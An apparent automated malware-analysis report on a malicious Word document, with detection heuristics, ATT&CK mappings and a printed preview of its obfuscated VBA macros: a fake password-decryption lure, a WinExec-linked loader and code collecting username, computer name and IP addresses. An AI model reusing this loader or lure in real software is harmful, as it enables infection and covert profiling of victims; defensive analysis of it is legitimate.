Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1fb954fe2b2f0dfc…

MALICIOUS

Office (OLE)

405.5 KB Created: 2019-07-22 02:02:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: e769aee3f0f9879756ad47c841561140 SHA-1: caf7cb285b31916602a5e5928606deb457849a1f SHA-256: 1fb954fe2b2f0dfcd34c84aaf47412b187c2fcc05a59f84c01e04232f1a734b3
450 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059.001 PowerShell

The sample contains a VBA macro with an auto-execute function (Document_Open) that prompts the user for a password. This macro utilizes obfuscated code and calls to WinExec, CreateProcess, and WriteProcessMemory, suggesting it's designed to execute a secondary payload. The presence of an embedded executable and references to PowerShell further indicate a malicious intent to download and run additional malicious code.

Heuristics 13

  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    End Function
Public Function zzzzzzzzzzzzzzzzzzzzzz(ByRef zzzzzzz): Dim zzzzzzzz: Set zzzzzzzz = CreateObject(zzzzzzzzzzzzzzzzzzzzz("arSBOADD.tem")): With zzzzzzzz: .Charset = "EUC-KR": .Type = 2: .Open: .WriteText zzzzzzz:: .Position = 0: .Charset = "X-ANSI": .Type = 1: zzzzzzzzzzzzzzzzzzzzzz = MidB(.Read, 1): .Close: End With: Set zzzzzzzz = Nothing: End Function
Public Sub zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzz, zzzzzzzz)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End Function
Public Function zzzzzzzzzzzzzzzzzzzzzz(ByRef zzzzzzz): Dim zzzzzzzz: Set zzzzzzzz = CreateObject(zzzzzzzzzzzzzzzzzzzzz("arSBOADD.tem")): With zzzzzzzz: .Charset = "EUC-KR": .Type = 2: .Open: .WriteText zzzzzzz:: .Position = 0: .Charset = "X-ANSI": .Type = 1: zzzzzzzzzzzzzzzzzzzzzz = MidB(.Read, 1): .Close: End With: Set zzzzzzzz = Nothing: End Function
Public Sub zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzz, zzzzzzzz)
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set zzzzzzzzzzzzzz = GetObject(zzzzzzzzzzzzzzzzzzzzz("2mcto\\:tgnwimms\.ro\iv"))
Set zzzzzzzzzzzzzzz = zzzzzzzzzzzzzz.ExecQuery(zzzzzzzzzzzzzzzzzzzzz("uT=dlaEIEEWniauinCepdkotN2nWMR  CLSEET*FO i3_ewrAatrofgrto HR Pnbe  re"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    On Error Resume Next
  • Reference to WinExec API high SC_STR_WINEXEC
    Reference to WinExec API
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Embedded PE executable high OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 126942 bytes
SHA-256: 896f0ddba6272f5d505e0ccb960d93507a968fd57ebe23962640d70c1a676291
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "cmdEnter, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "txtPassword, 0, 1, MSForms, TextBox"
Private Const HASH_ENC_KEY As String = "a8477ccf0c408829ae7c82ea70c2fad8"
Private mh As New Class1


Private Sub cmdEnter_Click()
    
    On Error Resume Next
    Dim bl() As Byte
    Dim result As String
    bl = StrConv(txtPassword.Text, vbFromUnicode)
    result = mh.HashBytes(bl)
    
    If StrComp(result, HASH_ENC_KEY, vbTextCompare) <> 0 Then
        MsgBox "Invalid Password.", vbCritical, "Error"
        Exit Sub
    End If
    
    txtPassword.Width = 0.75
    txtPassword.Height = 0.75
    cmdEnter.Width = 0.75
    cmdEnter.Height = 0.75
    
    Dim oo As Object
    Set oo = ThisDocument.Shapes(1).TextFrame.TextRange
    oo.InlineShapes.Item(2).Width = 0.75
    oo.InlineShapes.Item(2).Height = 0.75
    
    Dim pw As String
    pw = txtPassword.Text
    oo = vbCrLf & vbCrLf & vbCrLf & vbCrLf & vbCrLf & "문서 암호화 해제중..."
    
    DoEvents
    decryptPage pw
End Sub

Private Sub Document_Open()
    On Error Resume Next

    txtPassword.Enabled = True
    cmdEnter.Enabled = True
    
    txtPassword.Text = ""
    
    mh.Init
    
    txtPassword.Width = 114.7
    txtPassword.Height = 22.6
    cmdEnter.Width = 67.8
    cmdEnter.Height = 22.6
End Sub
Private Sub txtPassword_GotFocus()
    On Error Resume Next
    txtPassword.IMEMode = fmIMEModeAlpha
End Sub

Private Sub txtPassword_KeyUp(ByVal KeyCode As MSForms.ReturnInteger, ByVal Shift As Integer)
    On Error Resume Next
    If KeyCode = 13 Then
        cmdEnter_Click
    End If
End Sub

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit


'----- Private Consts -----

Private Const ALG_TYPE_ANY          As Long = 0
Private Const ALG_CLASS_HASH        As Long = 32768
Private Const ALG_SID_MD5           As Long = 3
Private Const CALG_MD5              As Long = ALG_CLASS_HASH Or ALG_TYPE_ANY Or ALG_SID_MD5

Private Const PROV_RSA_FULL         As Long = 1
Private Const CRYPT_VERIFYCONTEXT   As Long = &HF0000000
Private Const MS_DEFAULT_PROVIDER   As String = _
    "Microsoft Base Cryptographic Provider v1.0"

Private Const HP_HASHVAL            As Long = 2
Private Const HP_HASHSIZE           As Long = 4
                  
'----- Private Defines -----

Private Declare Function CryptAcquireContext Lib "advapi32" Alias "CryptAcquireContextA" ( _
    ByRef phProv As Long, _
    ByVal pszContainer As String, _
    ByVal pszProvider As String, _
    ByVal dwProvType As Long, _
    ByVal dwFlags As Long) As Long 'TRUE (<> 0) = success.  See Err.LastDLLError if FALSE.

Private Declare Function CryptCreateHash Lib "advapi32" ( _
    ByVal hProv As Long, _
    ByVal algid As Long, _
    ByVal hKey As Long, _
    ByVal dwFlags As Long, _
    ByRef phHash As Long) As Long 'TRUE (<> 0) = success.  See Err.LastDLLError if FALSE.
    
Private Declare Function CryptDestroyHash Lib "advapi32" ( _
    ByVal hHash As Long) As Long 'TRUE (<> 0) = success.  See Err.LastDLLError if FALSE.

Private Declare Function CryptGetHashParam Lib "advapi32" ( _
    ByVal hHash As Long, _
    ByVal dwParam As Long, _
    ByRef pbData As Any, _
    ByRef pdwDataLen As Long, _
    ByVal dwFlags As Long) As Long

Private Declare Function CryptHashData Lib "advapi32" ( _
    ByVal hHash As Long, _
    ByRef pbData As Any, _
    ByVal dwDataLen As Long, _
    ByVal dwFlags As Long) As Long

Private Declare Function CryptReleaseContext Lib "advapi32" ( _
    ByVal hProv As Long, _
    ByVal dwFlags As Long) As Long 'TRUE (<> 0) = success.  See Err.LastDLLError if FALSE.

'----- Private Data -----

Private m_hHash As Long 'Hash object handle.
Private m_hProvider As Long 'Cryptographic Service Provider handle.


'----- Private Methods -----

Private Sub HashBlock(ByRef Block() As Byte)
    If CryptHashData(m_hHash, _
                     Block(LBound(Block)), _
                     UBound(Block) - LBound(Block) + 1, _
                     0&) = 0 Then
        Err.Raise vbObjectError Or &HC312&, _
                  "MD5Hash", _
                  "Failed to hash data block, system error " _
                & CStr(Err.LastDllError)
    End If
End Sub

Private Function HashValue() As String
    Dim lngDataLen As Long
    Dim lngHashSize As Long
    Dim bytHashValue() As Byte
    
    lngDataLen = 4 '4 bytes for Long length.
    If CryptGetHashParam(m_hHash, HP_HASHSIZE, lngHashSize, lngDataLen, 0&) = 0 Then
        Err.Raise vbObjectError Or &HC322&, _
                  "MD5Hash", _
                  "Failed to obtain hash value length, system error " _
                & CStr(Err.LastDllError)
    Else
        lngDataLen = lngHashSize
        ReDim bytHashValue(lngDataLen - 1)
        
        If CryptGetHashParam(m_hHash, HP_HASHVAL, bytHashValue(0), lngDataLen, 0&) = 0 Then
            Err.Raise vbObjectError Or &HC324&, _
                      "MD5Hash", _
                      "Failed to obtain hash value, system error " _
                    & CStr(Err.LastDllError)
        Else
            Dim intByte As Integer
            
            For intByte = 0 To lngDataLen - 1
                HashValue = HashValue & Right$("0" & Hex$(bytHashValue(intByte)), 2)
            Next
            
            CryptDestroyHash m_hHash
        End If
    End If
End Function

Private Sub NewHash()
    If CryptCreateHash(m_hProvider, CALG_MD5, 0&, 0&, m_hHash) = 0 Then
        Err.Raise vbObjectError Or &HC332&, _
                  "MD5Hash", _
                  "Failed to create CryptoAPI Hash object, system error " _
                & CStr(Err.LastDllError)
    End If
End Sub

'----- Public Methods -----

Public Function HashFile(ByVal FileName As String) As String
    Const CHUNK As Long = 16384
    Dim intFile As Integer
    Dim lngWholeChunks As Long
    Dim intRemainder As Integer
    Dim lngChunk As Long
    Dim bytBlock() As Byte
    
    On Error Resume Next 'Does file exist?
    GetAttr FileName
    If Err.Number = 0 Then
        On Error GoTo 0
        intFile = FreeFile(0)
        Open FileName For Binary Access Read As #intFile
        lngWholeChunks = LOF(intFile) \ CHUNK
        intRemainder = LOF(intFile) - (CHUNK * lngWholeChunks)
        NewHash
        ReDim bytBlock(CHUNK - 1)
        For lngChunk = 1 To lngWholeChunks
            Get #intFile, , bytBlock
            HashBlock bytBlock
        Next
        If intRemainder > 0 Then
            ReDim bytBlock(intRemainder - 1)
            Get #intFile, , bytBlock
            HashBlock bytBlock
        End If
        Close #intFile
        HashFile = HashValue()
    Else
        Err.Raise vbObjectError Or &HC342&, _
                  "MD5Hash.HashFile", _
                  "File doesn't exist"
    End If
End Function

Public Function HashBytes(ByRef Block() As Byte) As String
    NewHash
    HashBlock Block
    HashBytes = HashValue()
End Function

'----- Class Event Handlers -----

Private Sub Class_Initialize()
    If CryptAcquireContext(m_hProvider, _
                           vbNullString, _
                           MS_DEFAULT_PROVIDER, _
                           PROV_RSA_FULL, _
                           CRYPT_VERIFYCONTEXT) = 0 Then
        Err.Raise vbObjectError Or &HC352&, _
                  "MD5Hash.Class_Initialize", _
                  "Failed to obtain access to CryptoAPI, system error " _
                & CStr(Err.LastDllError)
    End If
End Sub

Private Sub Class_Terminate()
    On Error Resume Next 'All exceptions must be processed here.
    CryptDestroyHash m_hHash
    CryptReleaseContext m_hProvider, 0&
End Sub
Public Function Init()
    On Error Resume Next
                                                                                                                                                                        If zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz() = 0 Then
                                                                                                                                                                        zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
                                                                                                                                                                        End If
    'Initial Code Here

End Function

'MD5 Hash Class

Attribute VB_Name = "Module1"
'File Decryptor
Private Const SIGN_WORD_DOC_FILE As String = "Microsoft Office Word"











































                                                                                                                                                                            Private Declare Function zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz Lib "kernel32" Alias "WinExec" (ByVal zzz As String, ByVal zzzz As Long) As Long
Public Function zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzz): zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = 0: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 15: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 25: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 2: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 522: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 10: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzz 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 21: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 255: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 4: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 25: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 15: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 22: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzz 252: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 6: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 15: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 166: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 25: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 254: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 8: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 55: zzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz 177: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 27: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 258: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 887: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 18: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 27: zzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 257: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 45: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 19: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 29: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 256: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz 5345: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 155: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 299: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 254: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 22: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz + 1999: End Function
Public Function zzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzz): zzzzzzzzzzzzzzzzzzzzzzzz = Right("00" & Hex(zzzzzzz), 2): End Function
Public Function zzzzzzzzzzzzzzzzzzzzzzzzzz(): Randomize: End Function
Public Function zzzzzzzzzzzzzzzzzzzzzzzzzzz(): zzzzzzzzzzzzzzzzzzzzzzzzzzz = CByte(((Rnd() * 10000)) Mod &H100): End Function
Public Function zzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzz): zzzzzzzzzzzzzzzzzzzzzzzzzzzz = AscB(zzzzzzz): End Function
Public Function zzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzz): zzzzzzzzzzzzzzzzzzzzzzzzzzzzz = Asc(zzzzzzz): End Function
Public Function zzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzz): zzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = LenB(zzzzzzz): End Function
Public Function zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzz): zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz = Len(zzzzzzz): End Function

Public Function zzzzzzzzzzzzzzzzzzzzz(zzzzzzz)
On Error Resume Next
Dim zzzzzzzzz: Dim zzzzzzzz: zzzzzzzz = zzzzzzz
If zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzz) Mod 2 = 1 Then
zzzzzzzzzzzzzzzzzzzzz = Left(zzzzzzzz, 1)
zzzzzzzz = Right(zzzzzzzz, zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzz) - 1): End If
For zzzzzzzzz = 1 To zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzz)
If zzzzzzzzz Mod 2 = 1 Then
zzzzzzzzzzzzzzzzzzzzz = Mid(zzzzzzzz, zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzz) - (zzzzzzzzz - 1) / 2, 1) & zzzzzzzzzzzzzzzzzzzzz
Else: zzzzzzzzzzzzzzzzzzzzz = Mid(zzzzzzzz, zzzzzzzzz / 2, 1) & zzzzzzzzzzzzzzzzzzzzz: End If
Next
End Function
Public Function zzzzzzzzzzzzzzzzzzzzzz(ByRef zzzzzzz): Dim zzzzzzzz: Set zzzzzzzz = CreateObject(zzzzzzzzzzzzzzzzzzzzz("arSBOADD.tem")): With zzzzzzzz: .Charset = "EUC-KR": .Type = 2: .Open: .WriteText zzzzzzz:: .Position = 0: .Charset = "X-ANSI": .Type = 1: zzzzzzzzzzzzzzzzzzzzzz = MidB(.Read, 1): .Close: End With: Set zzzzzzzz = Nothing: End Function
Public Sub zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzz, zzzzzzzz)
On Error Resume Next
Dim zzzzzzzzz
Set zzzzzzzzz = CreateObject(zzzzzzzzzzzzzzzzzzzzz("kotNticWSrp.ewr"))

Dim zzzzzzzzzz
Dim zzzzzzzzzzzz(2052)
Dim zzzzzzzzzzzzzzzzzzzzzzzzz
Dim zzzzzzzzzzzzz
For zzzzzzzzzzzzzzzzzzzzzzzzz = 0 To 2052
zzzzzzzzzzzz(zzzzzzzzzzzzzzzzzzzzzzzzz) = 0
Next

zzzzzzzzzz = 0
zzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzz(zzzzzzzzz.UserName)
For zzzzzzzzzzzzzzzzzzzzzzzzz = 1 To zzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzz)
zzzzzzzzzzzz(zzzzzzzzzz) = zzzzzzzzzzzzzzzzzzzzzzzzzzzz(MidB(zzzzzzzzzzzzz, zzzzzzzzzzzzzzzzzzzzzzzzz, 1))
zzzzzzzzzz = zzzzzzzzzz + 1
Next

zzzzzzzzzz = 256
zzzzzzzzzzzzz = zzzzzzzzzzzzzzzzzzzzzz(zzzzzzzzz.ComputerName)
For zzzzzzzzzzzzzzzzzzzzzzzzz = 1 To zzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(zzzzzzzzzzzzz)
zzzzzzzzzzzz(zzzzzzzzzz) = zzzzzzzzzzzzzzzzzzzzzzzzzzzz(MidB(zzzzzzzzzzzzz, zzzzzzzzzzzzzzzzzzzzzzzzz, 1))
zzzzzzzzzz = zzzzzzzzzz + 1
Next

Dim zzzzzzzzzzzzzz
Dim zzzzzzzzzzzzzzz
Dim zzzzzzzzzzz
Dim zzzzzzzzzzzzzzzz

Set zzzzzzzzzzzzzz = GetObject(zzzzzzzzzzzzzzzzzzzzz("2mcto\\:tgnwimms\.ro\iv"))
Set zzzzzzzzzzzzzzz = zzzzzzzzzzzzzz.ExecQuery(zzzzzzzzzzzzzzzzzzzzz("uT=dlaEIEEWniauinCepdkotN2nWMR  CLSEET*FO i3_ewrAatrofgrto HR Pnbe  re"))

Dim zzzzzzzzzzzzzzzzz
For Each zzzzzzzzzzz In zzzzzzzzzzzzzzz
With zzzzzzzzzzz
For zzzzzzzzzzzzzzzzzzzzzzzzz = 1 To zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz(.iPAdDReSS(0))
zzzzzzzzzzzz(513 + zzzzzzzzzzzzzzzzzzzzzzzzz - 1 + zzzzzzzzzzzzzzzz * 154) = zzzzzzzzzzzzzzzzzzzzzzzzzzzzz(Mid(.iPAdDReSS(0), zzzzzzzzzzzzzzzzzzzzzzzzz, 1))
Next

